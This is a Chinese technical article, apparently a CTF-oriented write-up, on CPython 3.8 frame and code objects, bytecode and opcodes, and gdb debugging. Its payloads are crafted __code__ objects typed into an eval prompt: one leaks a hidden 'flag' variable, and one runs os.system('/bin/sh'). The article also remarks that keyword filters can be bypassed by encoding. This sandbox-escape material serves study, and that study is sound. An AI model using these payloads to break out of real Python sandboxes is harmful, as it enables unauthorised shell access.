gamous@星盟
菜鸡好奇的目光看向了py
不同版本python的PyCodeObject参数数量有一定差异,但大同小异,本文在Python3.8环境下进行探索
在Python里,一切皆对象,函数也不例外
Python虚拟机的执行环境基于PyFrameObject栈帧,一个线程有一个栈帧链,在栈帧环境中根据执行PyCodeObject对象,从中取出对应的字节码序列在执行机中执行。
栈帧构造如下
struct _frame { PyObject_VAR_HEAD struct _frame *f_back; /* previous frame, or NULL */ PyCodeObject *f_code; /* code segment */ PyObject *f_builtins; /* builtin symbol table (PyDictObject) */ PyObject *f_globals; /* global symbol table (PyDictObject) */ PyObject *f_locals; /* local symbol table (any mapping) */ PyObject **f_valuestack; /* points after the last local */ /* Next free slot in f_valuestack. Frame creation sets to f_valuestack. Frame evaluation usually NULLs it, but a frame that yields sets it to the current stack top. */ PyObject **f_stacktop; PyObject *f_trace; /* Trace function */ char f_trace_lines; /* Emit per-line trace events? */ char f_trace_opcodes; /* Emit per-opcode trace events? */ /* Borrowed reference to a generator, or NULL */ PyObject *f_gen; int f_lasti; /* Last instruction if called */ /* Call PyFrame_GetLineNumber() instead of reading this field directly. As of 2.3 f_lineno is only valid when tracing is active (i.e. when f_trace is set). At other times we use PyCode_Addr2Line to calculate the line from the current bytecode index. */ int f_lineno; /* Current line number */ int f_iblock; /* index in f_blockstack */ char f_executing; /* whether the frame is still executing */ PyTryBlock f_blockstack[CO_MAXBLOCKS]; /* for try and loop blocks */ PyObject *f_localsplus[1]; /* locals+stack, dynamically sized */ };
先来看看python中CODE对象的构造
(不同版本python有一定区别,新版本加入了几个新的强制参数)
print(dir((lambda: 0).__code__)) ''' ['__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_kwonlyargcount', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_posonlyargcount', 'co_stacksize', 'co_varnames', 'replace'] '''
统计必要参数数量,这个地方不同版本的python会有所差异。
li = [i for i in dir((lambda: 0).__code__) if not i.startswith('__')] len(li) #17
去看下CPython中相关的实现
其中有关PyCode对象的新建
PyCodeObject * PyCode_New(int argcount, int kwonlyargcount, int nlocals, int stacksize, int flags, PyObject *code, PyObject *consts, PyObject *names, PyObject *varnames, PyObject *freevars, PyObject *cellvars, PyObject *filename, PyObject *name, int firstlineno, PyObject *lnotab) { return PyCode_NewWithPosOnlyArgs(argcount, 0, kwonlyargcount, nlocals, stacksize, flags, code, consts, names, varnames, freevars, cellvars, filename, name, firstlineno, lnotab); } ...... PyDoc_STRVAR(code_doc, "code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n\ flags, codestring, constants, names, varnames, filename, name,\n\ firstlineno, lnotab[, freevars[, cellvars]])\n\ \n\ Create a code object. Not for the faint of heart.");
据此构造在python中利用类型方法构造出一个对应的__code__
对象改写原函数对象的逻辑
def a(): if 1 == 2: print("flag{233}") print("Opcode of a():",a.__code__.co_code.hex()) print("CONST of a():",a.__code__.co_consts) #打印所有参数即对应值 print("ALL of a():") for name in dir(a.__code__): print(name,getattr(a.__code__,name)) #构造newcode def b(): if 1 != 2: print("flag{233}") print("Opcode of b():",b.__code__.co_code.hex()) code=b.__code__.co_code newcode = type(a.__code__) code =newcode(0,0,0,0,2,67, code,(None, 1, 2, 'flag{0w0}'),('print',),(), "", "a",1, b'\x00\x01\x08\x01') a.__code__ = code a()
整理一下这些参数的作用文档
看文档不如看源码
//https://github.com/python/cpython/blob/master/Include/cpython/code.h /* Bytecode object */ struct PyCodeObject { PyObject_HEAD int co_argcount; /* #arguments, except *args */ int co_posonlyargcount; /* #positional only arguments */ int co_kwonlyargcount; /* #keyword only arguments */ int co_nlocals; /* #local variables */ int co_stacksize; /* #entries needed for evaluation stack */ int co_flags; /* CO_..., see below */ int co_firstlineno; /* first source line number */ PyObject *co_code; /* instruction opcodes */ PyObject *co_consts; /* list (constants used) */ PyObject *co_names; /* list of strings (names used) */ PyObject *co_varnames; /* tuple of strings (local variable names) */ PyObject *co_freevars; /* tuple of strings (free variable names) */ PyObject *co_cellvars; /* tuple of strings (cell variable names) */ /* The rest aren't used in either hash or comparisons, except for co_name, used in both. This is done to preserve the name and line number for tracebacks and debuggers; otherwise, constant de-duplication would collapse identical functions/lambdas defined on different lines. */ Py_ssize_t *co_cell2arg; /* Maps cell vars which are arguments. */ PyObject *co_filename; /* unicode (where it was loaded from) */ PyObject *co_name; /* unicode (name, for reference) */ PyObject *co_lnotab; /* string (encoding addr<->lineno mapping) See Objects/lnotab_notes.txt for details. */ void *co_zombieframe; /* for optimization only (see frameobject.c) */ PyObject *co_weakreflist; /* to support weakrefs to code objects */ /* Scratch space for extra data relating to the code object. Type is a void* to keep the format private in codeobject.c to force people to go through the proper APIs. */ void *co_extra; /* Per opcodes just-in-time cache * * To reduce cache size, we use indirect mapping from opcode index to * cache object: * cache = co_opcache[co_opcache_map[next_instr - first_instr] - 1] */ // co_opcache_map is indexed by (next_instr - first_instr). // * 0 means there is no cache for this opcode. // * n > 0 means there is cache in co_opcache[n-1]. unsigned char *co_opcache_map; _PyOpcache *co_opcache; int co_opcache_flag; // used to determine when create a cache. unsigned char co_opcache_size; // length of co_opcache. };
整理出表格
属性 | 描述 |
---|---|
co_argcount |
位置参数总数(包括仅位置参数和具有默认值的参数) |
co_posonlyargcount |
仅位置参数(包括具有默认值的参数)的数量 |
co_kwonlyargcount |
仅关键字参数(包括具有默认值的参数)的数量 |
co_nlocals |
函数使用的局部变量的数量(包括参数) |
co_stacksize |
所需的堆栈大小 |
co_flags |
存放着函数的组合布尔标志位(Code Objects Bit Flags) |
co_code |
二进制格式的字节码(Bytecode Instructions) |
co_consts |
常量列表 |
co_names |
字符串列表 |
co_varnames |
包含局部变量名称的元组(以参数名称开头) |
co_filename |
代码文件名称 |
co_name |
函数名称 |
co_firstlineno |
函数的第一行号 |
co_lnotab |
编码从字节码偏移量到行号的映射 |
co_freevars * |
包含自由变量名称的元组 |
co_cellvars * |
包含嵌套函数引用的局部变量的名称 |
保证参数对接能够一致不出错的前提下,可以自由修改这些参数
接下来演示另一个具有freevars
的样例
def target(flag): def printflag(): if flag == "": print (flag) return printflag flag = target("flag{2333}") eval(input(">")) flag()
构造__code__对象
def a(flag): def printflag(): if flag != "": print (flag) return printflag target=a("xxx") code="flag.__code__=type(target.__code__)({},{},{},{},{},{},bytes.fromhex('{}'),{},{},{},\'{}\',\'{}\',{},bytes.fromhex(\'{}\'),{},{})\n".format( target.__code__.co_argcount,\ target.__code__.co_posonlyargcount,\ target.__code__.co_kwonlyargcount,\ target.__code__.co_nlocals,\ target.__code__.co_stacksize,\ target.__code__.co_flags,\ target.__code__.co_code.hex(),\ target.__code__.co_consts,\ target.__code__.co_names, \ target.__code__.co_varnames,\ target.__code__.co_filename,\ target.__code__.co_name,\ target.__code__.co_firstlineno,\ target.__code__.co_lnotab.hex(),\ target.__code__.co_freevars,\ target.__code__.co_cellvars) print(code) ''' result: flag.__code__ =type(target.__code__)(0,0,0,0,2,19,bytes.fromhex('880064016b037210740088008301010064005300'),(None,'', ''),('print',),(),'newcode.py','printflag',2,bytes.fromhex('00010801'),('flag',),()) '''
py example2.py >flag.__code__=type(target.__code__)(0,0,0,0,2,19,bytes.fromhex('880064016b037210740088008301010064005300'),(None, ''),('print',),(),'newcode.py','printflag',2,bytes.fromhex('00010801'),('flag',),()) flag{2333}
可以看到这里通过覆盖修改原函数的__code__
对象使其成功输出了原函数域内的变量flag,此外,这里由于只接受一次输入,把这个过程压缩在一行里,也可以用一个while循环达成无限次数的输入,但有些时候也可能并没有这样一个继续交互的机会
while True: exec(input()) ''' >.... >break '''
实际上利用__code__
对象完全可以执行任意操作码(opcode) ,比如我们构造一个通过os
模块getshell
的对象
def target(): import os os.system("/bin/sh") ... #稍微整理得到 flag.__code__ =type(target.__code__)(0,0,0,1,3,67,bytes.fromhex('640164006c007d007c00a0016402a101010064005300'),(None, 0, '/bin/sh'),('os', 'system'),('os',),'newcode.py','target',8,bytes.fromhex('00010801'),('flag',),())
输入上面的样例就会运行shell,当然,os和system肯定是被过滤的关键词,但这里字符串形式的关键词想必大家也有各种编码和拼接的办法来绕过过滤的
当然,这样还是依赖os
模块
不过由上面的例子我们可以理解,通过构造__code__
,我们完全可以按自己的想法执行任意的opcode而没什么约束,从而通过opcode达成外部任意读写从而为所欲为
python的文本源码经过ast分析与有限的优化后转化成最终的字节码,pyc文件
字节流形式的执行码称之为字节码,而每个字节码有个对应的可理解的符号形式,称其为opcode操作码,通过opcode库我们可以从opcode得到bytecode,而通过dis库,可以将byetecode转化成opcode的可阅读形式
二者关系有如汇编与二进制
>>> from opcode import opmap >>> import dis >>> chr(opmap['LOAD_CONST']) 'd' >>> dis.dis('d') 1 0 LOAD_NAME 0 (d) 2 RETURN_VALUE >>> dis.dis(bytes.fromhex('880064016b037210740088008301010064005300')) 0 LOAD_DEREF 0 (0) #将 func.__closure__[i] (闭包变量) 取出并压入栈 2 LOAD_CONST 1 (1) #将 co_consts[i] 压入栈 4 COMPARE_OP 3 (!=) #根据opname进行布尔运算 6 POP_JUMP_IF_FALSE 16 #为假则跳转到第16行 8 LOAD_GLOBAL 0 (0) #将 co_names[namei] 压入栈 10 LOAD_DEREF 0 (0) 12 CALL_FUNCTION 1 #函数调用,弹出所需参数,返回值压栈 14 POP_TOP #弹出(丢弃)栈顶元素 16 LOAD_CONST 0 (0) 18 RETURN_VALUE #退出栈帧
由于opcode有一百多个,直接贴 文档,一些常用的操作有
指令名 | 操作 |
---|---|
LOAD_GLOBAL | 从co_names[namei]入栈 |
STORE_GLOBAL | 出栈到co_names[namei] |
LOAD_FAST | 从co_varnames[var_num]入栈 |
STORE_FAST | 出栈到co_varnames[var_num] |
LOAD_CONST | 从co_consts[consti]入栈 |
指令名 | 操作 |
---|---|
CALL_FUNCTION | 函数调用,弹出所需参数,新栈帧,返回值压栈 |
RETURN_VALUE | 函数返回,退出栈帧 |
POP_JUMP_IF_FALSE | 当条件为假的时候跳转 |
JUMP_FORWARD | 直接跳转 |
COMPARE_OP
cmp_op = ('<', '<=', '==', '!=', '>', '>=', 'in', 'not in', 'is','is not', 'exception match', 'BAD')
不同的操作码对应了不同的操作,在Python/ceval.c中的switch里定义了对应的一系列虚拟机操作,构成了Python虚拟机的执行核心。
switch (opcode) {
/* BEWARE!
It is essential that any operation that fails must goto error
and that all operation that succeed call [FAST_]DISPATCH() ! */
case TARGET(NOP): {
FAST_DISPATCH();
}
case TARGET(LOAD_FAST): {
PyObject *value = GETLOCAL(oparg);
if (value == NULL) {
format_exc_check_arg(tstate, PyExc_UnboundLocalError,
UNBOUNDLOCAL_ERROR_MSG,
PyTuple_GetItem(co->co_varnames, oparg));
goto error;
}
Py_INCREF(value);
PUSH(value);
FAST_DISPATCH();
}
...
}
而具体的opcode在 opcode.h 进行了定义,可以在其中看到所有的opcode,修改调换其中字节码的值再编译即可达成混淆字节码的目的,当然,直接编译是不行的,因为opcode还在opcode_targets.h与 opcode.py 进行了定义,需要保证三者opcode定义上的一致性。
根据上述内容,我们甚至可以拓展opcode,加入一些我们自定义的花指令提高python逆向的难度,不过这不是本文讨论的重点。
$ git clone https://github.com/python/cpython $ cd cpython $ sudo apt install build-essential $ sudo apt install libssl-dev zlib1g-dev libncurses5-dev \ libncursesw5-dev libreadline-dev libsqlite3-dev libgdbm-dev \ libdb5.3-dev libbz2-dev libexpat1-dev liblzma-dev libffi-dev $ ./configure --with-pydebug $ make -j2 -s
debug版本代码编译前可能需要根据具体情况做些调整
python-dbg中包含了调试符号并把libpython.py工具安装到gdb的auto-load下
sudo apt-get install gdb python-dbg
不同版本的libpython.py存放在https://github.com/python/cpython/tree/<version>/Tools/gdb
,可以手动安装对应版本的libpython.py
安装后即可通过交互式方式从gdb启动python进程
$ gdb python ... (gdb) run <programname>.py <arguments>
或通过快速方式
$ gdb -ex r --args python <programname>.py <arguments>
或是attach到现有进程
$ gdb python <pid of running process>
加载core file
常用指令
py-bt #当前位置的调用栈
py-down #查看下层调用方的信息
py-locals #查看变量的值
py-up #查看上层调用方的信息
python-interactive
py-bt-full
py-list #当前执行位置的源码
py-print
python
准备好前置知识与调试环境,就可以在python虚拟机里愉快玩耍啦。
具体通过字节码逃逸环境的过程可以参考Anciety师傅的这篇python虚拟机逃逸文章 https://www.anquanke.com/post/id/86366。
由于时间与篇幅有限,对运行机制的挖掘与对沙箱的逃逸并不深入,也可能有错误,抛砖引玉,欢迎师傅们纠错与讨论。
此外,遇到的一些比较好的文档放在拓展资料里,感兴趣的师傅们可以看看。
https://realpython.com/cpython-source-code-guide
http://pbiernat.blogspot.com/2014/09/bypassing-python-sandbox-by-abusing.html
https://fanchao01.github.io/blog/2016/11/13/python-pycode_and_frame/
https://wiki.python.org/moin/DebuggingWithGdb
https://fedoraproject.org/wiki/Features/EasierPythonDebugging